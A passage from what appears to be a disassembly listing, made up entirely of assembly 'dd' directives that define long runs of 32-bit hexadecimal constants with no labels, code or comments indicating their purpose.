		dd 90D140E2h, 1F78E4A7h, 0BC18F50Ah, 845A9B80h,	4CF82B95h
		dd 0C5A76616h, 83D050C9h, 0C9A52E23h, 2C7301D0h, 2A1D455Eh
		dd 0AE71B847h, 0B8B4100Bh, 0B63B00E4h, 0FC56FABh, 0D30045DCh
		dd 2D2668EEh, 2601A129h, 0BA09879h, 0A8E85F89h,	5DF896A9h
		dd 6B0A84A9h, 9BFC0840h, 71D77B2h, 343154Dh, 7C0A4E4Ah
		dd 67280038h
		dd 0F1576142h, 2016FA7Eh, 0FCD065E0h, 78A6BC5h,	0BF27D1EDh
		dd 519D30E7h, 0BD019A87h, 0C8AA5E8Dh, 12F8E86h,	7F5C8344h
		dd 80EC7C6Ch, 0FB2FE97Dh, 33570346h, 0C88952EAh, 0F468C984h
		dd 15124ED8h, 0DC02FE14h, 85334C84h, 98B2E094h,	0C4E86100h
		dd 3D24BD4Dh, 0A848A977h, 2E5E00FDh, 605DA426h,	9CE5480Dh
		dd 62C4781Ch, 3F99A100h, 0D2837E3Eh, 9E342F6Dh,	0DBBA3813h
		dd 0E0924DEh, 448EB4h, 53247B15h, 90804AC2h, 36DFAFB8h
		dd 0AAE0E913h, 2A4F0A04h, 0D0B27CC5h, 7E4A6305h, 0C67C4048h
		dd 2CE36481h, 92001A98h, 1C24C27h, 2F186043h, 90685C5Fh
		dd 0C80036C9h, 6675B465h, 0A6E021B7h, 77CB00E0h, 1E554C8Ch
		dd 310580A6h, 8403EDC3h, 3CC2B4BCh, 2B02CDC4h, 17BC51E1h
		dd 4900916Dh, 0C1842C7Eh, 79DA684Ah, 4512282Dh,	8589386h
		dd 0F6183DD0h, 0C62C7E00h, 9C7F209Bh, 0B3AF5865h, 61AADB01h
		dd 2903245Bh, 20D700C8h, 6B77E510h, 4A6CBAEFh, 34A00B83h
		dd 0C880A704h, 2300B518h, 3DBA94BBh, 5E5B30h, 8393E433h
		dd 0F1C6FAFCh, 54040474h, 0B2D9E668h, 0EA6E0BC1h, 1520CC2Ah
		dd 724D2100h, 0E506E6C4h, 6985005Ch, 0AE30ECA1h, 8058B1B4h
		dd 5F7987F8h, 0B263B610h, 16D4020Eh, 0BFC52430h, 6D8EEC60h
		dd 0F1E86416h, 104AB892h, 3BFBBC60h, 0C0C09C35h, 0F28016Fh
		dd 9FA77BBDh, 884D47E4h, 2D177FE8h, 4EE86995h, 9A84805Ah
		dd 6D27A249h, 0E6F4C163h, 0E1762833h, 79E6EF03h, 3318E0A1h
		dd 0B0B07210h, 0CE276B12h, 6F9888h, 75AF67F5h, 0AA18C551h
		dd 0DC0358E8h, 2649364Dh, 0F5DBDBh, 0FC50AE50h,	864234A5h
		dd 0DAA02095h, 0E024572h, 3F14CDC8h, 0E25F35E0h, 59E4C662h
		dd 47324CA0h, 58FE042Eh, 16C0A21Dh, 0B48BDC44h,	0C85F076Dh
		dd 435D3433h, 0F6A1E9E7h, 0F9D842F2h, 0D300446Eh, 2DCC4FA0h
		dd 2034D6Ah, 5023BEDh, 9C90F1E7h, 0AB0142FBh, 79D872D6h
		dd 60D2DBF9h, 8BBBF1C0h, 8FB9E090h, 3EBC7C54h, 87616A69h
		dd 0F9E41BC4h, 7A20F3h,	0A4ACF2DEh, 0CBAD0880h,	0B80110EEh
		dd 0C3017729h, 8C402737h, 40F6F7EDh, 33527413h,	44D200D0h
		dd 94729A4h, 4AA8009Dh,	71427B9Fh, 8CB4B2ABh, 0EC021545h
		dd 17D08D6h, 7106615Ah,	983D40C2h, 6B5B9E53h, 605E5044h
		dd 0BC86C48Ch, 51688048h, 0C4F6FEFBh, 0A8D11405h, 0D8017B38h
		dd 10CFDECh, 0D7BCA181h, 0F02D6C04h, 8D010A2Ch,	6DE4A7D6h
		dd 13E57B3Bh, 44A130A5h, 0D261C44Ch, 0C180A8EDh, 2178C571h
		dd 0A2B20367h, 28F2A3D2h, 9898AFDBh, 22BD5CA8h,	204379CCh
		dd 82099B74h, 12403C94h, 214E15h, 4338AE86h, 0AC3276B9h
		dd 565B8B01h, 897B69AFh, 0F2C8256Fh, 98A40048h,	8CEE15B7h
		dd 0E6CF002Dh, 7ACDB369h, 0E34E9B61h, 9AD3FC20h, 17D5E84Ch
		dd 0A66FC180h, 19B00F8h, 0ECE35CF5h, 55D30FD6h,	813A369h
		dd 0EF899C8Ch, 0F4466CEh, 0F8EC2F6Bh, 0EC3ACC84h, 0FD09A0D8h
		dd 10DB1F02h, 0EA4D02E6h, 0FF40460Eh, 0BA26E9FBh, 0A8091456h
		dd 284C08F0h, 0D9EF3302h, 2B042F52h, 75CCCCE7h,	0E2C94812h
		dd 196A780Bh, 0E82C7B48h, 20BC19Fh, 0EC4C0AEDh,	0DDE9A7FAh
		dd 0EFE048FCh, 0D8578D4Ah, 2C0E7CC8h, 1DD0C188h, 8E3E001Ah
		dd 7A7CC250h, 10C3EF2Dh, 28CAE0Ch, 0A2DA7480h, 28E1C163h
		dd 26907936h, 9C60007Dh, 553913h, 51CC5228h, 4DBE8D5h
		dd 596CDC01h, 696DBA0Dh, 9E37A18Bh, 5E0BDC59h, 6CB85166h
		dd 5F149091h, 595C6CDBh, 0F0404B1Ch, 0CCE77DC8h, 767B0E32h
		dd 8660F9CAh, 9AF1B793h, 8164B916h, 30C018D4h, 5C5FE473h
		dd 0E822C39h, 4C1AC26h,	2AB082EAh, 7E036F7Fh, 9C2980F0h
		dd 0BFF196B2h, 98B1E200h, 432479C6h, 0CC574B8h,	0C78FA33Bh
		dd 5B4460D0h, 0F230A861h, 1381D3D8h, 548880Ch, 802D1D00h
		dd 16BE055h, 0D2B07BAh,	0EA49F44Ah, 97073E40h, 3FC64851h
		dd 1EF5C362h, 0FC7973E0h, 0F12D3A02h, 61BB976Ch, 7429E580h
		dd 13646E00h, 0E44CEC46h, 0B45EC35Bh, 0EC221E13h, 81DC7C81h
		dd 0AF59B4E8h, 25B6307Ch, 9100A679h, 36C849E7h,	9DE38F68h
		dd 5B62AC90h, 59A36404h, 5EC38D6Dh, 0BC88847Fh,	0FD201F8Eh
		dd 949032F3h, 0DCC42Bh,	0ED8D865Eh, 18296390h, 0E280AC01h
		dd 78BA7EDEh, 0ABA298DFh, 74330901h, 40592CC2h,	27E09700h
		dd 83E8BDh, 87486DD9h, 0F3326EEEh, 0A46C4224h, 7429EC12h
		dd 0B9A9FCh, 3E599C8Dh,	4180DDDBh, 0FEC492BDh, 0C3954038h
		dd 58498284h, 6C781E3Ch, 0E8EB0E40h, 48EA8739h,	0DF39C4E9h
		dd 3E5E41E3h, 0D85DE105h, 0E2C01AB2h, 27BAF566h, 0F844E7D1h
		dd 9263B500h, 0C2C61DAAh, 7B3E0015h, 78EC2BE8h,	309FFF47h
		dd 0F0410h, 46ED5BFBh, 33907408h, 9F9E1500h, 43B152E7h
		dd 6EAB2E1Bh, 64904B40h, 0B702EA74h, 731508AFh,	0D78890C5h
		dd 0CBF41C44h, 78B7C0DEh, 0CC6AB613h, 0AEF9A93Bh, 6413C40Ch
		dd 0B59A4CC8h, 6180748Fh, 17DBBC8h, 17842502h, 8EC5A432h
		dd 0C2D4C038h, 11646713h, 27BEF479h, 8DE898ECh,	784886BDh
		dd 9C2F2990h, 0D4900A80h, 4CE574E2h, 7D27E464h,	0C877E491h
		dd 8F007F1Ch, 0A1881BBh, 9AFC9DCh, 69135233h, 0F071378Bh
		dd 749B7600h, 1DD894Eh,	985BAEFDh, 42D4433Bh, 606073E8h
		dd 0E8C250A9h, 44B2ED33h, 0D6EF2830h, 58CC816Ch, 0B8D17912h
		dd 1AA60607h, 25ACC01h,	0AEF7C4h, 4A811D80h, 8C233CEEh
		dd 224F2A0Fh, 803C1159h, 0CFC51880h, 0B0C76279h, 9F00DC7Fh
		dd 4739604Eh, 0A17C48F6h, 0AF1152C0h, 0F2205055h, 1001CADh
		dd 7F43C541h, 1D7D1757h, 417256E8h, 636DD870h, 806C715Ah
		dd 0EB9C4441h, 0EC156DBh, 8A132F7Bh, 32C285E0h,	0CE029849h
		dd 186ACA57h, 0F640E05Fh, 87167D0h, 3C0F7B8Ah, 793C3077h
		dd 0E70ADDFBh, 0DC475F73h, 64C00F4Bh, 0C4E948D8h, 4D1724C0h
		dd 90B57FB3h, 75CD408h,	0CCB8ADD3h, 19F2C678h, 6FD8000h
		dd 0C916D38h, 0E6E4F2C0h, 123E71F1h, 1842350Dh,	0D62A6810h
		dd 0F9244297h, 0EE2921Ch, 1F003339h, 1E1059C9h,	0AEAB180Fh
		dd 3B6B606Ch, 1282C54Eh, 3049B92Ah, 0C70C1C94h,	613CCF12h
		dd 8AB644C8h, 2B2534D0h, 59C40B6Ch, 0B5A1DBCh, 1018701Ah
		dd 7E4AA7Ch, 0E3867A00h, 0D5217487h, 0FEED018Eh, 7893B4B9h
		dd 0FC01CC2Dh, 263E4398h, 61880E68h, 0D9EAA15Fh, 8FE4DA05h
		dd 9985h, 4BC9D8CBh, 0C8005F06h, 2105B14Ch, 12E14323h
		dd 0A0A50EBAh, 0AC5F3830h, 0D0C494C9h, 13B358D3h, 3364680Eh
		dd 1E6404F2h, 0A800121Ch, 0E6D9616Fh, 4B5B0039h, 2472A2BEh
		dd 77322342h, 5A80F179h, 0ED0D00F0h, 0AE40FEA3h, 0B00231Ah
		dd 959B5A17h, 1E700109h, 6E598AB3h, 202D47F4h, 445FA782h
		dd 23963C9Ch, 0F33BD802h, 0B81C5DF5h, 3D00C276h, 9A8C8994h
		dd 0FA64F9h, 7E7CF75Ch,	6EE4448Bh, 4159AD13h, 962E4803h
		dd 4C81ECE5h, 847369C9h, 3EBA0070h, 84325F41h, 0C601DC01h
		dd 947FDA83h, 0DC41FB7Ch, 342B31EDh, 7FFCC2DCh,	0B4DEC2E2h
		dd 7FBAA80h, 72033B4Ah,	0A23600F6h, 7613ED0Eh, 270F7C3Ch
		dd 0D25F6C2Fh, 0E40370ACh, 0B2645AF8h, 615502D4h, 2FBE4099h
		dd 72E004Bh, 0D7A7B51Ah, 91E68146h, 510A5025h, 6D038168h
		dd 0ACA9DC64h, 442418C8h, 0FF5CA263h, 1C2026D0h, 41DB17FBh
		dd 2394E0E8h, 5C08F9D2h, 680A88B3h, 0F307E680h,	467174h
		dd 212D7A92h, 0DBA18516h
		dd 534D03Eh, 0A9FD8B6Eh, 330548E2h, 0A45E8003h,	98974EDCh
		dd 1A88994h, 466F95ECh,	2B68457Dh, 0D9295C82h, 0FB5D4030h
		dd 8E1E0259h, 1A124D73h, 843F7CC1h, 0AA2E5500h,	0C21344Fh
		dd 0A8C4FE8Ah, 2F6B249Ah, 0CCEF06C4h, 6E0251CAh, 4672D861h
		dd 0EAD86486h, 0B13C1C83h, 6E7800A6h, 16571A31h, 7062B64Bh
		dd 0C45123EAh, 895542FCh, 7928485Fh, 0C175015Eh, 8CD8EBB2h
		dd 0D95812E4h, 5CF10058h, 41425696h, 0A0BCCE0Eh, 1171E277h
		dd 3558C0C7h, 3928205Ch, 63249890h, 0CC2AA843h,	9027200h
		dd 0A9DDAA74h, 3E5F12E4h, 61185314h, 703933BCh,	0ED6A620Ch
		dd 4C9CDCD2h, 11275C64h, 982BFFD8h, 5CB8C2A8h, 0B8F1EF2Eh
		dd 453458h, 4EBD102Dh, 6AF12516h, 0C3FA0D01h, 9046C24Dh
		dd 78617C71h, 7378203Ah, 781CB675h, 0AE420FCEh,	0F427056Bh
		dd 0E8454BC8h, 0B496500h, 382553h, 31071BCBh, 0B120E060h
		dd 0E2505050h, 7997B0B1h, 8280BC66h, 7D1000F8h,	1259243Bh
		dd 0C740561h, 0ABD15E14h, 5D98B353h, 186C2DE8h,	0B4E38F58h
		dd 16061FD8h, 845C0823h, 91740E8Bh, 0F430E0ECh,	71BD003Bh
		dd 0C07DF7A6h, 0DCFB15A3h, 5E7C49FCh, 0A8AE300h, 0CDE48991h
		dd 0C8D91F44h, 4CA70BADh, 386E7606h, 36B9CC0Eh,	0D9E9E1h
		dd 3D4D083Dh, 0D6C9008Ch, 0F6BF5EC2h, 0A3E8CC22h, 50DF700h
		dd 0DACEB309h, 421B0315h, 2CFCFEAFh, 72F2200Ch,	3C75923h
		dd 0A4DD6C07h, 0A003FBF1h, 7097D583h, 0A31106EEh, 585442DAh
		dd 3B00F4F0h, 655792A5h, 0C2EC1Ch, 9DFECD9Ch, 0F5D12D4Ah
		dd 3025700Ch, 604230CBh, 0C44B6959h, 6B0D115Fh,	0A9784CD9h
		dd 9431809Fh, 0F300085Dh, 977E43E4h, 80C3FC24h,	0E8F11A49h
		dd 7C18820h, 4CEE76FDh,	0B2AA0A3h, 190CBD3Fh, 3128FEDDh
		dd 8B8A3020h, 0DF66F7B8h, 0FD814D01h, 9156CC96h, 2639188Bh
		dd 0D46EA180h, 2D073A30h, 35B8A237h, 83B19E90h,	258800A3h
		dd 0CC9C40DBh, 38C07E4Eh, 7FFBE209h, 6B0D0081h,	0C032D62h
		dd 960CCEBBh, 2949D1C2h, 6C24005Eh, 0E07AA0F3h,	432A1594h
		dd 2D398477h, 0A8CA802Ch, 0FEEB0D41h, 0BA66FE2Ah, 0A5DD28EBh
		dd 0CE20287Ch, 20B26564h, 3454C34Bh, 1F832108h,	0AE3D8099h
		dd 93A18A08h, 0F16C040Fh, 0DBCAC1BBh, 5BF134FDh, 5422EDD0h
		dd 0DEB4C1h, 0DA12D01h,	618650DAh, 0DB52FA04h, 48CFEDCh
		dd 63ED0051h, 962AD53Ch, 0A409EA2Dh, 23FABF1Ah,	0EE220Ch
		dd 8FDAE751h, 90739D47h, 266BE00h, 8385ABCBh, 43811582h
		dd 9719F086h, 0DC6AC122h, 4D008B69h, 0B2746FC8h, 12751F87h
		dd 77FB5Ah, 9AC2A392h, 8A62FF68h, 0A07E42E9h, 0C64EDCA4h
		dd 0DEF03B7h, 1E9EF5F1h, 25BE590Ch, 0ED99E3h, 7B6C346Bh
		dd 2B93F116h, 0D220E60Ch, 305D51D3h, 0F2392997h, 0A80059D1h
		dd 0AB31A07Ah, 0E681674Ch, 940600F8h, 0EA8A9F9Ch, 45546A72h
		dd 0D76022F4h, 11680349h, 0FDA503FCh, 7D42FF2Ah, 0C124A901h
		dd 0C3F918E4h, 28C678CCh, 0E41C2131h, 2BDA00B1h, 0FC256007h
		dd 0BF02CAB2h, 276F4ECBh, 4CB4A1E1h, 0A0545A29h, 0E075584Fh
		dd 0A8515AFh, 0E66B006Eh, 82EC581Fh, 1900732Eh,	0DF918824h
		dd 352976h, 1AA5816Dh, 79EA4897h, 489AA8E8h, 0D3308402h
		dd 4425BA39h, 0CF650028h, 3D83EC85h, 7476B9CEh,	0ABAF6A00h
		dd 60F78A49h, 1F6F1816h, 3F7B317Eh, 0A49BCC01h,	0ADC28D1h
		dd 90C31D8h, 0CF208002h, 3CEF4C93h, 0D601C0C9h,	13B7B933h
		dd 4986D2C6h, 21F9A4DCh, 0B8D78301h, 1F101E6Dh,	0D8FC2040h
		dd 58CE80FBh, 4500E892h, 75908843h, 678E47h, 0E409266Eh
		dd 0C637B2FDh, 0FE063C76h, 554EC052h, 3EA1481h,	0BB01CBCDh
		dd 28332320h, 2B8860DDh, 0F8B39512h, 79FBB00Ch,	0CF3E0027h
		dd 54ACD104h, 3600436Fh, 0E6943129h, 1BE1Ch, 5810D9C9h
		dd 0E56DEDE4h, 4CB0DF00h, 0BB189A7h, 0F6E901C0h, 83E11499h
		dd 8B2C4124h, 0C99240C7h, 842EA55Bh, 0EE0F3137h, 0E6FE0089h
		dd 58D6DFDCh, 30141852h, 2B14A0FBh, 0BE0EBC0Ah,	13816DC3h
		dd 51C210C7h, 0D2F6A590h, 0E525AB01h, 0F0526987h, 0A0AE509Fh
		dd 0A531C854h, 0C0BB2053h, 0E6155D00h, 3F70DD01h, 0A644BC16h
		dd 24DCEA20h, 8A3827D8h, 80F847CEh, 0E19356BCh,	0C902E7AAh
		dd 881EC5C7h, 55F5E0ECh, 987D7D24h, 0F5C82960h,	0F1F208DCh
		dd 71941049h, 8BC9243Dh, 0EA400C51h, 14192E1h, 0C1C74841h
		dd 0DA40CC04h, 32A0CD01h, 0B7D6E21Ch, 0EEB7920h, 11B2416Bh
		dd 1AEF9603h, 6C7072D0h, 8E746705h, 2BC0204Bh, 3C68D0CAh
		dd 0E0752CDh, 0F17EBAE9h, 9C6FEB3Fh, 9B411C28h,	0E038B607h
		dd 42671080h, 0F70DE19Fh, 9CFD4C1Ch, 3861F300h,	0A1C8FA7h
		dd 0EE3E4B52h, 98803B20h, 0E6AC680Fh, 6363060Ah, 2A28918h
		dd 8AAA2021h, 0AE8FAB40h, 4AAE78A3h, 5B0E3A8h, 0E6D1EC01h
		dd 7C2C67C4h, 3EDB8186h, 812CC818h, 0D9001AC5h,	0BEA10739h
		dd 32BD0023h, 5A422CDAh, 0B66086D2h, 0DB7B8369h, 95710068h
		dd 2EFE1D13h, 0DA2933C1h, 4803781Ah, 0A1B3EF60h, 69B14AC2h
		dd 75AA20h, 0DF989AA2h,	3CEE0C88h, 6C7C8730h, 0E427B21h
		dd 3A91B4E5h, 0EB344F4h, 7154B737h, 70C4F5h, 0B281E3A6h
		dd 63614E93h, 7600DE7Bh, 96F8E495h, 18FA72C3h, 30649871h
		dd 1D00123Ch, 0E58B0890h, 6211A297h, 339D817Ch,	43D1EE27h
		dd 1C403F31h, 0CE7C101Ch, 11D4BD8h, 44E0076Bh, 8689B96Fh
		dd 6E71C60Ah, 0F8950011h, 827F7A9Bh, 2F07D383h,	65F25F2Bh
		dd 3B90F597h, 16C7BD5h,	93941076h, 87FB3862h, 6A96DFE9h
		dd 986D8FE0h, 9A4834h, 45E6CE06h, 3C0E6173h, 0C0609721h
		dd 29FF5F7h, 72FD004Fh,	9554B041h, 0B6001280h, 53B2F43Fh
		dd 761AF3D3h, 7021387Dh, 78E13E8Ch, 0E66138D9h,	0FA13EB79h
		dd 0F49F1430h, 9D2B00EEh, 96B0DC6Fh, 30C25217h,	25E7186Ch
		dd 22D820DBh, 260075B7h, 8236BE08h, 29CCEE45h, 0BF4C50Dh
		dd 4585F005h, 71384089h, 0A920E24Ah, 9FFCAE24h,	15D4C901h
		dd 1BFC7907h, 0E529C30Fh, 0F9247219h, 8F400C89h, 9AFA9F2h
		dd 21ED5AF3h, 2C004CD0h, 3D626887h, 4944E03h, 71561007h
		dd 419C90DFh, 0E0CE40Ah, 6855F0FFh, 111742E7h, 27E2190h
		dd 6CD25836h, 7884E04Eh, 0B1724046h, 0E4685FE2h, 70A23B90h
		dd 2BDC3960h, 651498E7h, 0F0B4D3C1h, 268063h, 95F21218h
		dd 0DA62DC8h, 7E7DAC00h, 71451AE4h, 451C068h, 9C1DEC43h
		dd 0C83A282Ch, 7113F303h, 1217C64h, 6A18B4FBh, 0ECAB4AEFh
		dd 58A1DF36h, 84DA1010h, 4FD7BB3h, 9F0159D9h, 5405E89h
		dd 3D2C70F6h, 44477285h, 0F7050C5Eh, 0DDDF86CEh, 0ECA1A1C0h
		dd 0F10B07B4h, 0D1DAD477h, 488514EFh, 0B703BEC8h, 0B99E117Ch
		dd 0CD40E199h, 18645FF0h, 7169A653h, 3E1CA9C8h,	9A4F1AD5h
		dd 77016678h, 795100B1h, 0C71D40EDh, 0E5299BCAh, 5905C891h
		dd 0D427FABFh, 3C434564h, 1901E34Bh, 0D4BE04AEh, 0F6CC79F7h
		dd 3C7B00E9h, 0C7115FC5h, 71502B49h, 620E5444h,	203F4AD1h
		dd 4B3D2091h, 70C540AAh, 0A2B3C204h, 48CD6B7Ch,	0FB3822E6h
		dd 0AB6D7120h, 0A4F30086h, 598BE60Eh, 29C09985h, 0ECEEBCC7h
		dd 70A03A79h, 18186230h, 0C0E17C07h, 7803D636h,	0EE1AF66Bh
		dd 3EA4C037h, 1389BA2h,	33A64184h, 0A44EF13Fh, 3A11AC19h
		dd 615F3800h, 3FF199EBh, 0D90EC100h, 5672223Ch,	7B7F62h
		dd 7313E93Ah, 59B04868h
		dd 0A2D6B1Ah, 1B0541C1h, 9A22AC22h, 0C58BC600h,	3009D312h
		dd 76DE268Ah, 1AE342DCh, 0D9126A20h, 789970h, 4BF9F8FDh
		dd 0FC0034E1h, 8919EBBh, 1C4FF92h, 0FDCEB66h, 33181CDEh
		dd 87D00008h, 0B3F8C08Ch, 55E8008Eh, 44AD36BDh,	71F605Fh
		dd 174019F9h, 105BC27Bh, 56FA0C70h, 0DBC12138h,	6E0084A4h
		dd 6CDFED6Fh, 757CFEh, 2608A11Fh, 0F64C9CCDh, 0CAF51000h
		dd 0F36BC69h, 3860C6EBh, 0EA0049E5h, 9B83DB5h, 917E81h
		dd 40DB2BB9h, 1E1869AAh, 0FCC6E42Ch, 0FD1A654Eh, 90C4400Eh
		dd 5E152500h, 0A205E3A8h, 19996230h, 16FF76D6h,	2084EE2Dh
		dd 0B14DA9A4h, 0C1900500h, 0D5D014DEh, 0F00200CAh, 10269FC6h
		dd 32098DD4h, 184661A2h, 8075A840h, 0B30F5607h,	3497A288h
		dd 2620D4A8h, 9B441C70h, 444180BEh, 0AC042E15h,	78C0B5F8h
		dd 0C13318FFh, 0F09F1952h, 7FB889E6h, 2B7A848h,	6B07A21h
		dd 6BC0E5CBh, 3D005C90h, 0F9C47D19h, 672C91Fh, 6F74F729h
		dd 0F80051FCh, 1AF108B0h, 1403A907h, 883CEF56h,	7543329h
		dd 0B9E33E63h, 3F577410h, 11CFB9B0h, 5E790007h,	0E4BF871h
		dd 60621075h, 47811A20h, 29D6226Bh, 0E0050112h,	488AE536h
		dd 0F7800D00h, 0D943CFABh, 3D233E03h, 393C7EFBh, 0C380E721h
		dd 84DE72E5h, 26054F35h, 85039773h, 622FD420h, 1E8E0B7h
		dd 84199AF6h, 207A1F34h, 2501B354h, 5F904DCFh, 422DE07h
		dd 5018D407h, 0A6BD013h, 3300784Ch, 9CEEE2ECh, 4B4678Fh
		dd 19DFBCC9h, 35288866h, 1F537544h, 41B31F91h, 4CB725C2h
		dd 4B9BE090h, 0DB8310C3h, 0C8C10011h, 0E228E7B3h, 7818C97Dh
		dd 19516D70h, 0F0B87964h, 0AFED0010h, 2D83E29Ah, 0EAB0D9EAh
		dd 0D4353103h, 3FAC8523h, 6100A879h, 7956099Ah,	80A88389h
		dd 0C7003D6Ah, 2463C4C0h, 267653Fh, 0F6377C47h,	0A1C391FBh
		dd 0E4588EF8h, 68603B28h, 64133322h, 40815054h,	0CD9CDB7Eh
		dd 3238004Fh, 9F507173h, 97244308h, 0E50E5C58h,	12249445h
		dd 0B428E22Dh, 0CAA518FAh, 0F703440Eh, 0DD0178E0h, 2DA679CBh
		dd 9BC4C4EBh, 0E03F255Dh, 80FF4827h, 9DA9DF40h,	58947152h
		dd 80EB3CF6h, 0AE6BF0FCh, 252C72Dh, 0D5DC1B61h,	40C0C03Dh
		dd 3C8969C6h, 5F0BECh, 0CB2DA3D0h, 4098343Eh, 18161004h
		dd 50C18FEEh, 8FD6D09h,	0E1C0B429h, 0CBFF698Dh,	7E2B1100h
		dd 0C4BFB2D0h, 355030Bh, 30EAD545h, 7CC1C6A2h, 83342C70h
		dd 0E80B25C9h, 16C743h,	0D4FC9194h, 2166C263h, 52558900h
		dd 0DDD079A3h, 7C250026h, 5B0E77F0h, 9090E498h,	0A408012Eh
		dd 9B226D64h, 0DD331020h, 538100F1h, 73FD85AAh,	5244C75h
		dd 2B4038DEh, 15F25BEh,	0C7838E5h, 0C8D49EBDh, 0A276605Ch
		dd 0D254474Ch, 12E77C88h, 0B6DC97h, 0F702F468h,	100154A4h
		dd 0FE36EE45h, 7960FC62h, 373F1803h, 51483970h,	160D53Bh
		dd 28E6D46Eh, 0EC40C583h, 84EA3E4Bh, 44B0FAEEh,	80383448h
		dd 19CAE928h, 0E47B1356h, 0BA940BBEh, 414F2400h, 70E09A8Eh
		dd 0E2A5720Ch, 5A893Bh,	7F050721h, 51A3F5B9h, 7B58635Ch
		dd 1F07688h, 0FAAF6FDCh, 80BB7117h, 0C5FFC819h,	394BDA83h
		dd 0F2804Fh, 19D5AA03h,	0E09BE9C4h, 80E0DD4Ch, 5FBF908Eh
		dd 0A59A0C45h, 0B01948DBh, 165A5000h, 0A7560660h, 43EB008Bh
		dd 868CEA85h, 0CFE6A4C2h, 0CD00D492h, 2B4B96C1h, 26B35CD9h
		dd 4078DDB6h, 0E7417B8Ah, 1A83F3Eh, 24EE7D26h, 53113EDCh
		dd 0CA9CDC17h, 0B450BDh, 0D4A1C789h, 61A67FEFh,	0ADCD1800h
		dd 790479Dh, 3EE1076Ah,	0F07C4208h, 880E54B1h, 38DDED2Ch
		dd 85BD9540h, 5A7542h, 0E3629163h, 232D0DA8h, 0E0C2F500h
		dd 79AE6C9Eh, 9990788Fh, 69DB00BCh, 505DE298h, 0BE97FD00h
		dd 3754104h, 7D070077h,	191B3EA2h, 30C54821h, 0A0407071h
		dd 43BDBC22h, 0DA840072h, 189E66E6h, 7D00EF11h,	0D92C0A1h
		dd 419E4BDh, 850E7452h,	0AE1490B7h, 0B60014D4h,	1E0A6F34h
		dd 7A0CA808h, 0D7750053h, 69951822h, 60FD2F66h,	0B8A8ACD4h
		dd 0F302CDEDh, 3FFA20BCh, 586C46E1h, 2600642Ch,	36068689h
		dd 0A2E27934h, 58846548h, 0C2ADC190h, 4AD810ACh, 0A474FB6Bh
		dd 884B0367h, 1FC7E338h, 0CC72A2D2h, 3CEC7402h,	4E714DB9h
		dd 0B2AF2040h, 6C983F28h, 391D3830h, 0F6DC10h, 54C10FF7h
		dd 0EE3EDD36h, 0F444B89Ch, 8C444B60h, 0C22252F8h, 1530748h
		dd 217CC594h, 3055E235h, 0D6FE07FCh, 0A774A902h, 44C23D50h
		dd 9D580068h, 0D544C0A6h, 0A8006D5Eh, 79D3361Dh, 562099h
		dd 2D1027ACh, 730776D2h, 1A053E7Eh, 7D897BF5h, 37BC6000h
		dd 0ECE0D203h, 41A80F4Fh, 0AB806EAAh, 498A1097h, 4B5CB307h
		dd 0F0B04E60h, 1EEC3BBFh, 894D4Fh, 0ED792E10h, 2C090B2Bh
		dd 0C6549BCBh, 0E00701D8h, 83DBB197h, 537DF082h, 77177902h
		dd 71B40EE4h, 1EDF00A4h, 19F8E527h, 6C78930Ah, 0CCA4EC79h
		dd 0A4312B0Eh, 0A8B29BC8h, 0AE8EDF00h, 83344B1h, 0E4EF4105h
		dd 4090432Bh, 0A0B718E5h, 6A2630h, 0FE8342A6h, 0FA713396h
		dd 97E5BD0Bh, 44BC89ACh, 0E07F28h, 19BC364Ah, 457DC9ECh
		dd 0CCCEE524h, 0A1EA380Ch, 0B2C70027h, 0C169DC31h, 7658DB41h
		dd 0CFBA194h, 346EBF0h,	0AE627B7h, 91017041h, 2CAE8D12h
		dd 22DCCFh, 98C01900h, 5AEC4B86h, 65001F75h, 48A74CEBh
		dd 91E88E7h, 819E753Dh,	0B2B49424h, 0F2CB1E18h,	0B3990D00h
		dd 0B872096Dh, 39C900A3h, 0FE6E24E1h, 6B00D11Dh, 2B1BB93Bh
		dd 0F32A9EBh, 0B1B55569h, 0E23612A0h, 673B6E5Eh, 0BC02FD4Fh
		dd 61898844h, 817BC0A9h, 2E9618ABh, 0C36C5056h,	0CD473D00h
		dd 0B714DE32h, 6D7C007Ah, 22C42AD9h, 600A6CBh, 2455FEBFh
		dd 0FD7F526h, 10BE47E3h, 45392BE1h, 3E6AEC88h, 957F7200h
		dd 0F25F3162h, 0F768C47Dh, 414E0155h, 7E70BBB8h, 63110008h
		dd 1347365Eh, 0C401D3E9h, 7EB6B01Dh, 0E980DEB1h, 0BD4A3A82h
		dd 0A1A0AFE3h, 4E00203Eh, 45116B69h, 8AE0CBh, 1FDD2EEh
		dd 0B454624Ch, 0BE30FEFEh, 315508B2h, 0F6CB00CEh, 2C19782Bh
		dd 9C0F23AFh, 0E06896EBh, 12D04AD5h, 6F3133E5h,	0F013A7E1h
		dd 120713FDh, 11424C21h, 0FB62C09Dh, 6CE94884h,	0FEE0B303h
		dd 21C12FD7h, 557980BFh, 282AC1CFh, 0DBAD3F15h,	4A9E0072h
		dd 1EBF93F7h, 0A7606B78h, 1DD3A669h, 10886040h,	71AA3584h
		dd 68B98137h, 0D7473A93h, 5491B8C1h, 0FD838857h, 5E7EC84Eh
		dd 3647848h, 7A3BA9B7h,	480A6849h, 0B8E93CB3h, 6860968Ch
		dd 20370C91h, 0EE19F497h, 4241BF00h, 1E9A11D6h,	0A08B000Fh
		dd 0F822E517h, 0F53AE9E4h, 6FF3C59h, 0BB1684Fh,	35A60A81h
		dd 14487FE7h, 5E00455h,	30902BF7h, 0B1D8160Eh, 52CA5CD3h
		dd 3E0EB093h, 0FB7860C5h, 638AD05h, 3017244Eh, 0BE4229B3h
		dd 21CE2111h, 0B7223DC9h, 2F11CA42h, 3444719Dh,	16594458h
		dd 0F9240h, 650999B2h, 0DCBEF438h, 0C2D39409h, 37A30339h
		dd 6A8DB8EFh, 4E0400F7h, 632C8B67h, 84074393h, 951F08BAh
		dd 0B098407Eh, 0E864E301h, 0D01A008Ah, 0C95AB57Ah, 5E03CD09h
		dd 0A9F9F688h, 8C5E0DEh, 17BE00ECh, 7183D02Dh, 21E9D5DCh
		dd 0C9E2D885h, 86125C00h, 1CA86EF1h, 3B150018h,	0A4DBA9CDh
		dd 55006B73h, 0CCF98479h, 0ECED41h, 0F3F42F99h,	8AE7D6DAh
		dd 882E2D01h, 3FC83B59h, 1F37C050h, 0EBEA0E1Bh,	0B1C005CBh
		dd 563DB327h, 0F0909704h
		dd 9980AA98h, 0AD46EDh,	343E776Fh, 0DE24A93Ah, 3898D800h
		dd 0E11F7915h, 0AEF2008Eh, 11024E9Eh, 89004CABh, 4807F84Ah
